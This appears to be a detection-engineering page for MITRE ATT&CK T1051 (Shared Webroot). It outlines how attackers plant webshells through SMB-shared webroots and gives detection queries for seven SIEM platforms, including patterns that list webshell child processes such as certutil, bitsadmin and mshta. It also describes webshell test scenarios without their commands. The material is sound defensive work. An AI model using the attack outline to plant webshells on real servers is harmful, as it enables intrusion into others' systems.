Which SIEM platforms have a T1051 detection rule?

df00tech provides T1051 (Shared Webroot) detection queries for 7 SIEM platforms: Microsoft Sentinel / Defender, Splunk, Elastic Security (EQL), IBM QRadar (AQL), Sumo Logic CSE, Google Chronicle / SecOps, CrowdStrike LogScale (CQL).

What data sources are required to detect Shared Webroot (T1051)?

Detecting Shared Webroot requires the following data sources: File: File Creation, Process: Process Creation, Microsoft Defender for Endpoint.

What severity and confidence is the T1051 detection?

The T1051 detection is rated high severity with medium confidence.

What are common false positives for T1051?

Common false positives for T1051 include: Web developers deploying code directly to a local development server's webroot via IDE or build tool processes; Deployment pipelines (Jenkins, Octopus Deploy, Azure DevOps agents) writing application files to IIS or Apache webroots; CMS platforms (WordPress, Drupal, Joomla) that write PHP files as part of plugin installation — w3wp.exe or php.exe creating child PHP files is expected.

T1051

Shared Webroot

Lateral Movement Last updated: April 17, 2026

Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or web content directory. By writing a malicious script (PHP, ASPX, JSP, etc.) to the shared webroot and then browsing to it, the adversary causes the web server process to execute the content — typically resulting in a webshell. This technique enables lateral movement to the system running the web server, as the code runs under the web server process context (IIS, Apache, nginx) which may have local system or administrative privileges. The attack chain: (1) discover open share pointing to webroot, (2) write malicious web script via SMB, (3) trigger execution via HTTP request. This technique has been deprecated by MITRE but the underlying behavior remains operationally relevant as a webshell deployment vector.

What is T1051 Shared Webroot?

Shared Webroot (T1051) maps to the Lateral Movement tactic — the adversary is trying to move through your environment in MITRE ATT&CK.

This page provides production-ready detection logic for Shared Webroot, covering the data sources and telemetry it touches: File: File Creation, Process: Process Creation, Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic: Lateral Movement
Canonical reference: https://attack.mitre.org/techniques/T1051/

Microsoft Sentinel / Defender

kusto

let WebRootPaths = dynamic([
  "\\inetpub\\wwwroot\\",
  "\\inetpub\\wwwroot",
  "\\xampp\\htdocs\\",
  "\\wamp\\www\\",
  "\\wamp64\\www\\",
  "\\Apache24\\htdocs\\",
  "\\nginx\\html\\",
  "\\tomcat\\webapps\\",
  "\\jetty\\webapps\\",
  "\\www\\html\\",
  "\\web\\wwwroot\\"
]);
let WebScriptExtensions = dynamic([
  ".php", ".php5", ".php7", ".phtml",
  ".asp", ".aspx", ".ashx", ".asmx",
  ".jsp", ".jspx",
  ".cfm", ".cfml",
  ".pl", ".cgi",
  ".shtml"
]);
let WebServerProcesses = dynamic([
  "w3wp.exe", "httpd.exe", "nginx.exe",
  "php.exe", "php-cgi.exe", "php-win.exe",
  "tomcat.exe", "tomcat9.exe", "java.exe",
  "iisexpress.exe", "UMWorkerProcess.exe"
]);
// Branch 1: Script files written to known web root directories
let WebRootFileDrops = DeviceFileEvents
| where Timestamp > ago(24h)
| where ActionType in ("FileCreated", "FileModified", "FileRenamed")
| where FolderPath has_any (WebRootPaths)
| where FileName has_any (WebScriptExtensions)
| where not (InitiatingProcessFileName in~ ("w3wp.exe", "httpd.exe", "nginx.exe",
              "MicrosoftEdgeUpdate.exe", "msiexec.exe", "TrustedInstaller.exe"))
| extend DetectionBranch = "WebRootFileDrop"
| project Timestamp, DeviceName, AccountName, ActionType,
          FolderPath, FileName, InitiatingProcessFileName,
          InitiatingProcessCommandLine, InitiatingProcessAccountName,
          DetectionBranch;
// Branch 2: Web server process spawning suspicious child processes (webshell execution)
let WebShellExecution = DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ (WebServerProcesses)
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "wscript.exe",
                       "cscript.exe", "mshta.exe", "net.exe", "net1.exe",
                       "whoami.exe", "ipconfig.exe", "systeminfo.exe",
                       "nltest.exe", "certutil.exe", "bitsadmin.exe",
                       "rundll32.exe", "regsvr32.exe", "msiexec.exe")
| extend DetectionBranch = "WebShellChildProcess"
| project Timestamp, DeviceName, AccountName, FileName,
          ProcessCommandLine, InitiatingProcessFileName,
          InitiatingProcessCommandLine, InitiatingProcessAccountName,
          DetectionBranch;
// Union both branches
WebRootFileDrops
| union WebShellExecution
| sort by Timestamp desc

Detects shared webroot abuse via two complementary branches. Branch 1 monitors DeviceFileEvents for web script files (PHP, ASPX, JSP, ASP, etc.) written to known webroot directories by non-web-server processes — the file drop phase of the attack. Branch 2 monitors DeviceProcessEvents for web server processes (w3wp.exe, httpd.exe, php-cgi.exe, etc.) spawning command interpreters or reconnaissance utilities — the execution phase indicating a webshell was triggered. Together, these branches cover the full attack lifecycle: write via network share, then browse to execute.

high severity medium confidence

Data Sources

File: File Creation Process: Process Creation Microsoft Defender for Endpoint

Required Tables

DeviceFileEvents DeviceProcessEvents

False Positives

Web developers deploying code directly to a local development server's webroot via IDE or build tool processes
Deployment pipelines (Jenkins, Octopus Deploy, Azure DevOps agents) writing application files to IIS or Apache webroots
CMS platforms (WordPress, Drupal, Joomla) that write PHP files as part of plugin installation — w3wp.exe or php.exe creating child PHP files is expected
Web application frameworks that compile views or generate dynamic ASPX handlers at runtime
IIS application pool worker processes launching legitimate monitoring scripts (health check endpoints that exec system commands)
Apache/nginx spawning CGI scripts as part of expected application behavior (e.g., Nagios NRPE, Cacti)

Splunk

spl

index=wineventlog (
  (sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11)
  OR
  (sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1)
  OR
  (sourcetype="WinEventLog:Security" EventCode=5140)
)
| eval DetectionBranch=case(
    EventCode=11 AND match(TargetFilename, "(?i)(inetpub.wwwroot|xampp.htdocs|wamp.www|Apache24.htdocs|nginx.html|tomcat.webapps|web.wwwroot)") AND match(TargetFilename, "(?i)\.(php5?|phtml|aspx?|ashx|asmx|jspx?|cfml?|pl|cgi|shtml)$"),
    "WebRootFileDrop",
    EventCode=1 AND match(ParentImage, "(?i)(w3wp|httpd|nginx|php(-cgi|-win)?|tomcat[0-9]?|java|iisexpress)\.exe$") AND match(Image, "(?i)(cmd|powershell|pwsh|wscript|cscript|mshta|net1?|whoami|ipconfig|systeminfo|nltest|certutil|bitsadmin|rundll32|regsvr32)(\.exe)?$"),
    "WebShellChildProcess",
    EventCode=5140 AND match(ShareName, "(?i)(wwwroot|htdocs|webroot|www)$"),
    "WebRootShareAccess",
    true(), null()
  )
| where isnotnull(DetectionBranch)
| eval FileDropped=if(DetectionBranch="WebRootFileDrop", TargetFilename, null())
| eval ChildProcess=if(DetectionBranch="WebShellChildProcess", Image, null())
| eval ShareAccessed=if(DetectionBranch="WebRootShareAccess", ShareName, null())
| eval Actor=coalesce(User, SubjectUserName)
| table _time, host, Actor, DetectionBranch, FileDropped, ChildProcess, ShareAccessed,
        Image, CommandLine, ParentImage, ParentCommandLine, TargetFilename
| sort - _time

Detects shared webroot abuse across three event sources using Sysmon and Windows Security logs. Sysmon EventCode 11 (File Create) identifies script files written to webroot paths. Sysmon EventCode 1 (Process Create) identifies web server processes spawning command interpreters indicating webshell execution. Windows Security EventCode 5140 (Network Share Object Accessed) detects direct SMB access to web root shares. The DetectionBranch field identifies which indicator fired, enabling targeted analyst triage.

high severity medium confidence

Data Sources

File: File Creation Process: Process Creation Network Share: Network Share Access Sysmon Event ID 1 Sysmon Event ID 11 Windows Security Event ID 5140

Required Sourcetypes

XmlWinEventLog:Microsoft-Windows-Sysmon/Operational WinEventLog:Security

False Positives

Web developers pushing code via mapped network drive directly to development webroot directories
CI/CD deployment agents writing application files to IIS webroots — common with TeamCity, Jenkins, GitHub Actions self-hosted runners
CMS plugin installers: WordPress, Drupal, Joomla write PHP files to webroot as part of normal install/update flows
Legitimate administrative scripts that query system info via web server context (e.g., monitoring endpoints that call ipconfig or systeminfo)
Penetration testing or red team exercises targeting the web server in authorized engagements
IIS Web Deploy (MSDeploy) writing files to wwwroot as part of standard deployment packages

Elastic Security (EQL)

eql

any where
  (
    event.category == "file" and
    event.type in ("creation", "change") and
    file.path : (
      "*\\inetpub\\wwwroot\\*", "*\\xampp\\htdocs\\*", "*\\wamp\\www\\*",
      "*\\wamp64\\www\\*", "*\\Apache24\\htdocs\\*", "*\\nginx\\html\\*",
      "*\\tomcat\\webapps\\*", "*\\jetty\\webapps\\*", "*\\www\\html\\*",
      "*\\web\\wwwroot\\*", "*/var/www/html/*", "*/srv/www/*",
      "*/usr/share/nginx/html/*", "*/opt/tomcat/webapps/*"
    ) and
    file.name : (
      "*.php", "*.php5", "*.php7", "*.phtml", "*.asp", "*.aspx",
      "*.ashx", "*.asmx", "*.jsp", "*.jspx", "*.cfm", "*.cfml",
      "*.pl", "*.cgi", "*.shtml"
    ) and
    not process.name : (
      "w3wp.exe", "httpd.exe", "httpd2.exe", "nginx.exe", "msiexec.exe",
      "TrustedInstaller.exe", "MicrosoftEdgeUpdate.exe"
    )
  )
  or
  (
    event.category == "process" and
    event.type == "start" and
    process.parent.name : (
      "w3wp.exe", "httpd.exe", "httpd2.exe", "nginx.exe", "php.exe",
      "php-cgi.exe", "php-win.exe", "tomcat.exe", "tomcat9.exe",
      "java.exe", "iisexpress.exe", "UMWorkerProcess.exe"
    ) and
    process.name : (
      "cmd.exe", "powershell.exe", "pwsh.exe", "wscript.exe", "cscript.exe",
      "mshta.exe", "net.exe", "net1.exe", "whoami.exe", "ipconfig.exe",
      "systeminfo.exe", "nltest.exe", "certutil.exe", "bitsadmin.exe",
      "rundll32.exe", "regsvr32.exe", "msiexec.exe"
    )
  )

Two-branch EQL detection for T1051 Shared Webroot abuse. Branch 1 fires on any web script file (PHP, ASPX, JSP, etc.) written to a known webroot directory by a non-web-server process, indicating a likely SMB-based webshell drop. Branch 2 fires when a web server process (IIS w3wp, Apache httpd, nginx, Tomcat java) spawns a suspicious child such as cmd.exe, PowerShell, or reconnaissance utilities, indicating active webshell execution. Deploy against Elastic Endpoint telemetry (ECS) or Winlogbeat with Sysmon. For correlated sequence detection (file drop then execution on the same host within 1h), replace 'any where ... or ...' with a sequence by host.name with maxspan=1h pairing the file event and process event blocks.

high severity medium confidence

Data Sources

Elastic Endpoint Security Winlogbeat + Sysmon Filebeat Auditd Module (Linux)

Required Tables

logs-endpoint.events.file-* logs-endpoint.events.process-* winlogbeat-*

False Positives

CI/CD deployment pipelines (Jenkins, GitHub Actions self-hosted runners) pushing PHP or ASPX application code to a shared webroot via service account — high volume, predictable paths and naming conventions; baseline deployer process names and account SIDs
WordPress, Drupal, or Joomla auto-update and plugin-install routines: the PHP interpreter or web server process writes updated .php files directly to the webroot as part of CMS self-update workflows
IIS Web Deploy (MSDeploy) and Azure DevOps release pipelines that use msdeploy.exe or Web Management Service (wmsvc.exe) to publish ASPX applications, causing file creation events in wwwroot that appear unsigned or from unexpected parent processes
Tomcat hot-deploy dropping new WAR-extracted JSP files into webapps/ directories as part of scheduled application refreshes, with java.exe as the initiating process
Legitimate developers with mapped SMB drives to dev/staging webroot shares editing PHP files directly in their IDE — the editor process writes the file from a non-web-server context

IBM QRadar (AQL)

sql

SELECT
  DATEFORMAT(devicetime, 'yyyy-MM-dd HH:mm:ss') AS EventTime,
  logsourcename(logsourceid) AS LogSource,
  CATEGORYNAME(category) AS Category,
  username AS Actor,
  eventid,
  "TargetFilename" AS TargetFile,
  "Image" AS ChildProcess,
  "ParentImage" AS ParentProcess,
  "CommandLine" AS CommandLine,
  "ShareName" AS ShareName,
  CASE
    WHEN eventid = 11 THEN 'WebRootFileDrop'
    WHEN eventid = 1  THEN 'WebShellChildProcess'
    WHEN eventid = 5140 THEN 'WebRootShareAccess'
    ELSE 'Unknown'
  END AS DetectionBranch
FROM events
WHERE
  devicetime > NOW() - 86400000
  AND (
    logsourcename(logsourceid) ILIKE '%sysmon%'
    OR logsourcename(logsourceid) ILIKE '%windows security%'
    OR LOGSOURCETYPEID(logsourceid) IN (73, 260)
  )
  AND (
    -- Branch 1: Sysmon EID 11 - File creation in webroot with script extension
    (
      eventid = 11
      AND (
        "TargetFilename" ILIKE '%\\inetpub\\wwwroot\\%'
        OR "TargetFilename" ILIKE '%\\xampp\\htdocs\\%'
        OR "TargetFilename" ILIKE '%\\wamp\\www\\%'
        OR "TargetFilename" ILIKE '%\\wamp64\\www\\%'
        OR "TargetFilename" ILIKE '%\\Apache24\\htdocs\\%'
        OR "TargetFilename" ILIKE '%\\nginx\\html\\%'
        OR "TargetFilename" ILIKE '%\\tomcat\\webapps\\%'
        OR "TargetFilename" ILIKE '%\\www\\html\\%'
      )
      AND (
        "TargetFilename" ILIKE '%.php'
        OR "TargetFilename" ILIKE '%.php5'
        OR "TargetFilename" ILIKE '%.phtml'
        OR "TargetFilename" ILIKE '%.asp'
        OR "TargetFilename" ILIKE '%.aspx'
        OR "TargetFilename" ILIKE '%.ashx'
        OR "TargetFilename" ILIKE '%.jsp'
        OR "TargetFilename" ILIKE '%.jspx'
        OR "TargetFilename" ILIKE '%.cfm'
        OR "TargetFilename" ILIKE '%.cgi'
        OR "TargetFilename" ILIKE '%.shtml'
      )
    )
    OR
    -- Branch 2: Sysmon EID 1 - Web server spawning suspicious child process
    (
      eventid = 1
      AND (
        "ParentImage" ILIKE '%\\w3wp.exe'
        OR "ParentImage" ILIKE '%\\httpd.exe'
        OR "ParentImage" ILIKE '%\\nginx.exe'
        OR "ParentImage" ILIKE '%\\php-cgi.exe'
        OR "ParentImage" ILIKE '%\\php-win.exe'
        OR "ParentImage" ILIKE '%\\java.exe'
        OR "ParentImage" ILIKE '%\\iisexpress.exe'
        OR "ParentImage" ILIKE '%tomcat%.exe'
      )
      AND (
        "Image" ILIKE '%\\cmd.exe'
        OR "Image" ILIKE '%\\powershell.exe'
        OR "Image" ILIKE '%\\pwsh.exe'
        OR "Image" ILIKE '%\\wscript.exe'
        OR "Image" ILIKE '%\\cscript.exe'
        OR "Image" ILIKE '%\\mshta.exe'
        OR "Image" ILIKE '%\\net.exe'
        OR "Image" ILIKE '%\\net1.exe'
        OR "Image" ILIKE '%\\whoami.exe'
        OR "Image" ILIKE '%\\ipconfig.exe'
        OR "Image" ILIKE '%\\systeminfo.exe'
        OR "Image" ILIKE '%\\nltest.exe'
        OR "Image" ILIKE '%\\certutil.exe'
        OR "Image" ILIKE '%\\bitsadmin.exe'
        OR "Image" ILIKE '%\\rundll32.exe'
        OR "Image" ILIKE '%\\regsvr32.exe'
      )
    )
    OR
    -- Branch 3: Security EID 5140 - SMB share access to webroot share
    (
      eventid = 5140
      AND (
        "ShareName" ILIKE '%wwwroot%'
        OR "ShareName" ILIKE '%htdocs%'
        OR "ShareName" ILIKE '%webroot%'
        OR "ShareName" ILIKE '%webapps%'
      )
    )
  )
ORDER BY devicetime DESC

Three-branch AQL detection for T1051 Shared Webroot targeting QRadar environments with Sysmon and Windows Security Event Log sources. Branch 1 uses Sysmon EventID 11 (FileCreate) to detect web-script files dropped into known webroot directories. Branch 2 uses Sysmon EventID 1 (ProcessCreate) to detect web server processes (w3wp.exe, httpd.exe, nginx.exe, java.exe/Tomcat) spawning interpreter or reconnaissance utilities indicative of webshell execution. Branch 3 uses Windows Security EventID 5140 (Network Share Object Accessed) to detect SMB access to shares named after common webroot paths. Requires Sysmon custom properties (TargetFilename, Image, ParentImage, CommandLine, ShareName) to be parsed as QRadar custom properties or via DSM extension.

high severity medium confidence

Data Sources

Microsoft Windows Security Event Log (QRadar LOGSOURCETYPEID 73) Sysmon via Windows Event Log (QRadar LOGSOURCETYPEID 260)

Required Tables

events

False Positives

Legitimate SMB-based deployment tools writing application files to webroot shares — EventID 5140 will fire on any authenticated access to a share whose name contains 'wwwroot' regardless of write intent; correlate with a subsequent EventID 4663 (file write) to reduce noise
Scheduled maintenance scripts running under service accounts that periodically update CMS plugin files in the webroot — tune by whitelisting known deployer account SIDs and scheduled maintenance windows
Java application servers (Tomcat, JBoss) legitimately spawning child java.exe processes for JSP compilation or scheduled tasks — the Parent/Child java→java pattern is benign; focus detection on java.exe spawning cmd.exe or PowerShell specifically

Sumo Logic CSE

sql

(_sourceCategory=*windows* OR _sourceCategory=*sysmon* OR _sourceCategory=*wineventlog*)
| parse regex "(?:EventCode|EventID)\s*=\s*(?P<EventCode>\d+)" nodrop
| parse regex "TargetFilename\s*=\s*(?P<TargetFilename>[^\n\r]+)" nodrop
| parse regex "Image\s*=\s*(?P<Image>[^\n\r]+)" nodrop
| parse regex "ParentImage\s*=\s*(?P<ParentImage>[^\n\r]+)" nodrop
| parse regex "CommandLine\s*=\s*(?P<CommandLine>[^\n\r]+)" nodrop
| parse regex "ShareName\s*=\s*(?P<ShareName>[^\n\r]+)" nodrop
| parse regex "(?:User|SubjectUserName)\s*=\s*(?P<Actor>[^\n\r]+)" nodrop
| where
  (
    EventCode = "11"
    AND (
      TargetFilename matches "*\\inetpub\\wwwroot\\*"
      OR TargetFilename matches "*\\xampp\\htdocs\\*"
      OR TargetFilename matches "*\\wamp\\www\\*"
      OR TargetFilename matches "*\\Apache24\\htdocs\\*"
      OR TargetFilename matches "*\\nginx\\html\\*"
      OR TargetFilename matches "*\\tomcat\\webapps\\*"
      OR TargetFilename matches "*\\www\\html\\*"
    )
    AND (
      TargetFilename matches "*.php"
      OR TargetFilename matches "*.php5"
      OR TargetFilename matches "*.phtml"
      OR TargetFilename matches "*.asp"
      OR TargetFilename matches "*.aspx"
      OR TargetFilename matches "*.ashx"
      OR TargetFilename matches "*.jsp"
      OR TargetFilename matches "*.jspx"
      OR TargetFilename matches "*.cfm"
      OR TargetFilename matches "*.cgi"
      OR TargetFilename matches "*.shtml"
    )
  )
  OR
  (
    EventCode = "1"
    AND (
      ParentImage matches "*w3wp.exe*"
      OR ParentImage matches "*httpd.exe*"
      OR ParentImage matches "*nginx.exe*"
      OR ParentImage matches "*php-cgi.exe*"
      OR ParentImage matches "*java.exe*"
      OR ParentImage matches "*iisexpress.exe*"
      OR ParentImage matches "*tomcat*.exe*"
    )
    AND (
      Image matches "*\\cmd.exe*"
      OR Image matches "*\\powershell.exe*"
      OR Image matches "*\\pwsh.exe*"
      OR Image matches "*\\wscript.exe*"
      OR Image matches "*\\cscript.exe*"
      OR Image matches "*\\mshta.exe*"
      OR Image matches "*\\whoami.exe*"
      OR Image matches "*\\ipconfig.exe*"
      OR Image matches "*\\systeminfo.exe*"
      OR Image matches "*\\nltest.exe*"
      OR Image matches "*\\certutil.exe*"
      OR Image matches "*\\bitsadmin.exe*"
      OR Image matches "*\\net.exe*"
      OR Image matches "*\\net1.exe*"
    )
  )
  OR
  (
    EventCode = "5140"
    AND (
      ShareName matches "*wwwroot*"
      OR ShareName matches "*htdocs*"
      OR ShareName matches "*webroot*"
      OR ShareName matches "*webapps*"
    )
  )
| eval DetectionBranch = if(EventCode = "11", "WebRootFileDrop",
    if(EventCode = "1", "WebShellChildProcess",
    if(EventCode = "5140", "WebRootShareAccess", "Unknown")))
| fields _messageTime, _sourceHost, Actor, DetectionBranch, TargetFilename, Image, ParentImage, CommandLine, ShareName
| sort by _messageTime desc

Three-branch Sumo Logic detection for T1051 Shared Webroot, parsing raw Sysmon and Windows Security Event logs forwarded via Sumo Logic Installed Collector. Uses regex parsing to extract key fields from Sysmon EventID 11 (file create in webroot), EventID 1 (web server spawning suspicious child), and Windows Security EventID 5140 (SMB share access to webroot share names). Compatible with both XML-formatted Sysmon events and flat key=value formats. Adjust the _sourceCategory filter to match your organization's Sumo Logic source category taxonomy for Windows/Sysmon log sources.

high severity medium confidence

Data Sources

Sysmon via Sumo Logic Installed Collector (Windows) Windows Security Event Log via Installed Collector

Required Tables

_sourceCategory=*windows* _sourceCategory=*sysmon*

False Positives

Deployment automation (Octopus Deploy, Ansible WinRM) writing web application files to IIS or Apache webroot directories from service accounts — whitelist known deployer account names and source hosts in the Actor and _sourceHost fields
CMS platforms (WordPress, Drupal) with auto-update enabled cause the PHP-FPM or web server process to write updated plugin .php files, generating EventID 11 hits — consider excluding known CMS update parent processes and expected plugin paths
SharePoint and IIS application pools regularly access SMB shares named 'wwwroot' as part of normal content serving — EventID 5140 triggers on any share read, not just writes; enrich with EventID 4663 write accesses to distinguish reconnaissance from actual file drops

Google Chronicle / SecOps

yaral

rule T1051_shared_webroot_webshell_execution {
  meta:
    author = "df00tech"
    description = "Detects web server processes spawning suspicious child processes indicative of webshell execution following shared webroot compromise (T1051). Web servers (IIS w3wp, Apache httpd, nginx, Tomcat java) should not directly spawn cmd.exe, PowerShell, or reconnaissance utilities under normal operation."
    mitre_attack_tactic = "Lateral Movement"
    mitre_attack_technique = "T1051"
    mitre_attack_technique_name = "Shared Webroot"
    severity = "HIGH"
    confidence = "MEDIUM"
    priority = "HIGH"
    rule_version = "1.0"

  events:
    $e.metadata.event_type = "PROCESS_LAUNCH"
    $e.principal.process.file.full_path = /(?i)(w3wp|httpd|httpd2|nginx|php-cgi|php-win|tomcat[0-9]?|java|iisexpress|UMWorkerProcess)\.exe$/
    $e.target.process.file.full_path = /(?i)(cmd|powershell|pwsh|wscript|cscript|mshta|net1?|whoami|ipconfig|systeminfo|nltest|certutil|bitsadmin|rundll32|regsvr32|msiexec)\.exe$/

  condition:
    $e
}

rule T1051_shared_webroot_file_drop {
  meta:
    author = "df00tech"
    description = "Detects web script files (PHP, ASPX, JSP, CFM, CGI) written to known webroot directories by non-web-server processes, indicating a likely webshell drop via shared network drive (T1051). Monitor for files written by SMB client processes, script interpreters, or admin tools rather than the web server itself."
    mitre_attack_tactic = "Lateral Movement"
    mitre_attack_technique = "T1051"
    mitre_attack_technique_name = "Shared Webroot"
    severity = "HIGH"
    confidence = "MEDIUM"
    priority = "HIGH"
    rule_version = "1.0"

  events:
    $e.metadata.event_type = "FILE_CREATION"
    $e.target.file.full_path = /(?i)(\\inetpub\\wwwroot\\|\\xampp\\htdocs\\|\\wamp\\www\\|\\wamp64\\www\\|\\Apache24\\htdocs\\|\\nginx\\html\\|\\tomcat\\webapps\\|\\jetty\\webapps\\|\/var\/www\/html\/|\/srv\/www\/|\/usr\/share\/nginx\/)/
    $e.target.file.full_path = /(?i)\.(php5?|phtml|aspx?|ashx|asmx|jspx?|cfml?|pl|cgi|shtml)$/
    NOT $e.principal.process.file.full_path = /(?i)(w3wp|httpd|httpd2|nginx|msiexec|TrustedInstaller|MicrosoftEdgeUpdate)\.exe$/

  condition:
    $e
}

Two Chronicle YARA-L 2.0 rules for T1051 Shared Webroot. Rule 1 (T1051_shared_webroot_webshell_execution) detects web server processes spawning suspicious interpreter or reconnaissance child processes using UDM PROCESS_LAUNCH events — this is the highest-fidelity signal indicating active webshell execution. Rule 2 (T1051_shared_webroot_file_drop) detects web script file creation in known webroot directories by non-web-server processes using UDM FILE_CREATION events — catches the initial write phase. Both rules should be deployed together in Chronicle to maximize coverage across the attack chain. YARA-L 2.0 does not support UNION within a single rule; deploy both as separate detection rules. Requires Chronicle UDM normalization of endpoint telemetry (Sysmon, CrowdStrike, Carbon Black, etc.).

high severity medium confidence

Data Sources

Chronicle UDM (Sysmon via Google Chronicle Forwarder) Chronicle UDM (CrowdStrike Falcon via Chronicle integration) Chronicle UDM (Carbon Black via Chronicle integration) Chronicle UDM (Microsoft Defender for Endpoint via Chronicle integration)

Required Tables

UDM PROCESS_LAUNCH events UDM FILE_CREATION events

False Positives

Java application servers (Tomcat, WildFly) that use java.exe as both the server process and for spawning legitimate JVM child processes for JSP compilation or scheduled tasks — the parent/child java→java pattern may be benign; focus on java spawning cmd.exe, PowerShell, or OS utilities specifically
Automated web application deployment tools (msdeploy.exe, deploy.sh, Capistrano) running under a service account that writes ASPX or PHP files to the webroot — these are not web server processes so they will trigger the file drop rule; whitelist known deployer binary paths in the NOT clause
Security scanning agents (Nessus, Qualys, Rapid7) that perform authenticated web application scanning may create temporary probe files with script extensions in webroot directories — identify scanner service account names and add them to the exclusion list

CrowdStrike LogScale (CQL)

cql

(#event_simpleName = ProcessRollup2 OR #event_simpleName = SyntheticProcessRollup2 OR #event_simpleName = NewExecutableWritten)
| case {
    #event_simpleName in (ProcessRollup2, SyntheticProcessRollup2)
    AND ParentBaseFileName = /(?i)^(w3wp|httpd|httpd2|nginx|php-cgi|php-win|tomcat[0-9]?|java|iisexpress|UMWorkerProcess)\.exe$/
    AND FileName = /(?i)^(cmd|powershell|pwsh|wscript|cscript|mshta|net|net1|whoami|ipconfig|systeminfo|nltest|certutil|bitsadmin|rundll32|regsvr32|msiexec)\.exe$/
    | DetectionBranch := "WebShellChildProcess" ;

    #event_simpleName = NewExecutableWritten
    AND TargetFileName = /(?i)(\\inetpub\\wwwroot\\|\\xampp\\htdocs\\|\\wamp\\www\\|\\wamp64\\www\\|\\Apache24\\htdocs\\|\\nginx\\html\\|\\tomcat\\webapps\\|\\jetty\\webapps\\|\/var\/www\/html\/|\/srv\/www\/)/
    AND TargetFileName = /(?i)\.(php5?|phtml|aspx?|ashx|asmx|jspx?|cfml?|pl|cgi|shtml)$/
    NOT ParentBaseFileName = /(?i)^(w3wp|httpd|nginx|msiexec|TrustedInstaller)\.exe$/
    | DetectionBranch := "WebRootFileDrop" ;
}
| groupBy(
    [ComputerName, DetectionBranch, ParentBaseFileName, FileName, TargetFileName, UserName, CommandLine],
    function=[
      count(as=HitCount),
      min(timestamp, as=FirstSeen),
      max(timestamp, as=LastSeen)
    ]
  )
| sort(LastSeen, order=desc)

Two-branch CrowdStrike LogScale (Humio) detection for T1051 Shared Webroot. Branch 1 uses ProcessRollup2 and SyntheticProcessRollup2 Falcon events to detect web server processes (w3wp, httpd, nginx, java/Tomcat, iisexpress) spawning suspicious child utilities (cmd.exe, PowerShell, whoami, certutil, etc.) indicating active webshell execution. Branch 2 uses NewExecutableWritten events to detect web script files written to webroot directories by non-web-server processes, capturing the initial webshell drop phase. Results are grouped by host, branch, and process chain to suppress repeated execution noise while preserving all unique actor/command combinations. Requires CrowdStrike Falcon sensor with Process, File Write, and Script Control enabled. Adjust the event_simpleName filter if your environment uses custom enriched event names.

high severity medium confidence

Data Sources

CrowdStrike Falcon Sensor (ProcessRollup2) CrowdStrike Falcon Sensor (NewExecutableWritten) CrowdStrike Falcon Sensor (SyntheticProcessRollup2)

Required Tables

ProcessRollup2 SyntheticProcessRollup2 NewExecutableWritten

False Positives

Legitimate application deployment processes using the web server service account to write updated application files — NewExecutableWritten events from msdeploy.exe or xcopy.exe targeting wwwroot are common in mature DevOps pipelines; add known deployment binary hashes to a reference lookup table and exclude
Java-based application servers (Tomcat, JBoss, WebSphere) frequently spawn child java.exe processes for background jobs, JSP recompilation, and JMX operations — the ParentBaseFileName=java.exe → FileName=java.exe pattern is typically benign; focus alerting on java.exe spawning OS utilities
Penetration testing and red team activity using authorized webshell frameworks (e.g., Antak, China Chopper simulation tools) during scheduled engagements will generate high-fidelity hits — correlate alert timestamps with active pen test windows from your change management system before escalating

Sigma rule & cross-platform mapping

The detection logic for Shared Webroot (T1051) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for T1051 Sigma rules on detection.fyi

Platform-specific guides for T1051

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)

Last updated: 2026-04-17 Research depth: deep

References (9)

Testing Methodology

Validate this detection against 5 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

Test 1Drop PHP Webshell via SMB Network Share to Webroot
Expected signal: Windows Security Event ID 5140: Network share \\TARGET_WEBSERVER\wwwroot accessed from source workstation. Windows Security Event ID 4624: Network logon (Type 3) to TARGET_WEBSERVER using webadmin credentials. Sysmon Event ID 11 on TARGET_WEBSERVER: FileCreate for df00tech-test-shell.php in C:\inetpub\wwwroot\, InitiatingProcess will be System (SMB kernel write). DeviceFileEvents on TARGET_WEBSERVER: FileCreated for df00tech-test-shell.php with folder path containing wwwroot.
Test 2Trigger Webshell Execution via HTTP GET Request
Expected signal: Sysmon Event ID 1 on TARGET_WEBSERVER: Process Create where ParentImage is php-cgi.exe (or w3wp.exe for ASPX), Image is cmd.exe or whoami.exe, CommandLine contains 'whoami'. DeviceProcessEvents: InitiatingProcessFileName=php-cgi.exe spawning FileName=cmd.exe. IIS access log entry for GET /df00tech-test-shell.php with query string cmd=whoami, HTTP 200 response.
Test 3Drop ASPX Webshell to IIS Webroot via Local File Copy
Expected signal: Sysmon Event ID 11: FileCreate for df00tech-test-shell.aspx in C:\inetpub\wwwroot\, InitiatingProcess=cmd.exe. DeviceFileEvents: FileCreated, FileName=df00tech-test-shell.aspx, FolderPath=C:\inetpub\wwwroot\, InitiatingProcessFileName=cmd.exe. Security Event ID 4663 if object-level SACL auditing is configured on the wwwroot directory.
Test 4Enumerate Accessible Webroot Network Shares
Expected signal: Windows Security Event ID 5140 on TARGET_WEBSERVER: Network share \\TARGET_WEBSERVER\wwwroot accessed. Windows Security Event ID 5156: Windows Filtering Platform allowed inbound connection on port 445. Sysmon Event ID 3 on attacker host: outbound network connection to TARGET_WEBSERVER:445. Windows Security Event ID 4624: Type 3 (Network) logon to TARGET_WEBSERVER.
Test 5PHP File Drop Simulating CMS Plugin Install Gone Wrong
